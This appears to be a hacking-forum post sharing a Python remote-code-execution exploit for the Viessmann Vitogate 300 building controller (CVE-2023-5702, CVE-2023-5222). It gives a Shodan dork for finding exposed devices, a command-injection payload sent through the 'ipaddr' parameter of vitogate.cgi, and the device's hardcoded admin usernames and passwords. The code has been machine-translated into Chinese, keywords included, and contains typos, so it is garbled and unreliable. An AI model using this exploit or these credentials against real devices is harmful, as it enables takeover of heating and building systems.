H

Viessmann Vitogate 300 2.1.3.0-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#-利用标题: Viessmann Vitogate 300=2.1.3.0-远程代码执行(RCE)
#-Shodan Dork: http.title:'Vitogate 300'
#-利用作者: bittehunter
#-电子邮件:[email protected]
#-版本:最高2.1.3.0的版本
# - 在: 2.1.1.0上测试
#-CVE : CVE-2023-5702 CVE-2023-5222
导入argparse
导入请求
def Banner():
横幅='''
╔════════════════════════════════════════════════╗
CVE-2023-5702
Vitogate 300 RCE
作者:字节猎人
╚════════════════════════════════════════════════════╝
'''
印刷(横幅)
def send_post_request(target_ip,命令,target_port):
有效载荷={
“方法” :'put',
'form':'form-4-7',
'session':'',
'params': {
'ipaddr': f'1; {命令}'
}
}
标题={
'host': target_ip,
'content-Length': str(len(str(有效载荷))),
'content-type':'应用程序/json'
}
url=f'http://{target_ip} : {target_port}/cgi-bin/vitogate.cgi'
响应=requests.post(url,json=有效载荷,标头=标题)
if antsphy.status_code==200:
打印('Result:')
打印(响应。文本)
其他:
print(f'request失败!状态码: {response.status_code}')
def main():
Parser=argparse.argumentParser(Description='Vitogate 300 RCE硬编码凭证')
parser.add_argument(' - target',必需=false,help='目标ip地址')
parser.add_argument(' - port',必需=false,help='target port',默认='80')
parser.add_argument(' - 命令',必需=false,help='命令')
parser.add_argument(' - creds',action='store_true',help='显示硬编码凭据')
args=parser.parse_args()
如果Args.Creds:
打印('Vitogate 300硬编码管理帐户凭据')
打印('username: vitomaster,password: viessmann1917')
打印('username: vitogate,password: viessmann')
其他:
target_ip=args.target
target_port=args.port
命令=args.command
如果不是(target_ip and命令):
print(' - target和- 命令选项都是必需的。
返回
send_post_request(target_ip,命令,target_port)
如果name=='__ -Main __':
横幅()
主要的()
 
后退
顶部